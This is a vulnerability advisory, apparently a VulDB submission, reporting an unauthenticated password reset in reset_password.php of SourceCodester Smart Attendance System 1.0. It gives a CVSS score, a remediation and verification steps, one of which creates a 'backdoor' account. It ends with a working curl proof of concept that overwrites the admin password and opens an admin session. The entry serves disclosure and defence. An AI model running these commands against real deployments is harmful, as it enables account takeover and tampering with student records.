| عنوان | SourceCodester Smart Attendance System with QR Code Scanner 1.0 Missing Authentication for Critical Function |
|---|
| الوصف | Unauthenticated password reset in reset_password.php of SourceCodester Smart Attendance System with QR Code Scanner 1.0 allows remote attackers to overwrite the password of any account (including the administrator) or create arbitrary new accounts, leading to complete admin takeover.
The maintenance script performs a password change without any authentication or session check. reset_password.php includes only includes/db.php (line 4) - every other admin page includes includes/auth.php which enforces the session, but this file does not. Password update runs at lines 23-25; an unknown username auto-creates a new account at lines 30-31.
CWE-306. CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N = 9.1.
Verified on a local deployment (PHP 7.3.4 / MySQL 5.7.26, 2026-10-17):
- POST /reset_password.php (no cookie), body username=admin&password=PwnedByAudit2026 -> "Success! Password for user 'admin' has been updated."
- POST /login.php with the new password -> 302 -> GET /index.php -> 200 Dashboard (admin session obtained)
- POST /reset_password.php username=backdoor&password=backdoor123 (no cookie) -> "User 'backdoor' was not found, so a NEW account was created with this password."
Impact: complete takeover of the application. The attacker becomes administrator (or creates a new admin account) and can read/modify/delete all student records, attendance logs, class schedules and user accounts. The attack is scriptable and leaves only a normal-looking password change in logs.
Remediation: remove reset_password.php (and create_admin.php) from the web root; or require includes/auth.php plus current-password verification, and never auto-create accounts in a reset flow.
PoC:
curl -s -X POST "http://<TARGET>/reset_password.php" --data "username=admin&password=AttackerSetPass123"
curl -s -c jar.txt -X POST "http://<TARGET>/login.php" --data "username=admin&password=AttackerSetPass123"
curl -s -b jar.txt "http://<TARGET>/index.php" # 200 - Dashboard
White-box audit by EVA Security Research (yuechuya), 2026-10-17. Full 12-section report, source SHA-256 manifest and three-pass review:
https://github.com/yuechuya/sourcecodester-vuln-reports/blob/main/reports/VULN-01-Unauthenticated-Password-Reset.md |
|---|
| المستخدم | yuechuya (UID 101209) |
|---|
| ارسال | 18/10/2026 10:40 AM (22 أيام منذ) |
|---|
| الاعتدال | 09/11/2026 05:56 PM (22 days later) |
|---|
| الحالة | تمت الموافقة |
|---|
| إدخال VulDB | 433178 [SourceCodester Smart Attendance System with QR Code Scanner 1.0 Password Reset reset_password.php username/password تجاوز الصلاحيات] |
|---|
| النقاط | 20 |
|---|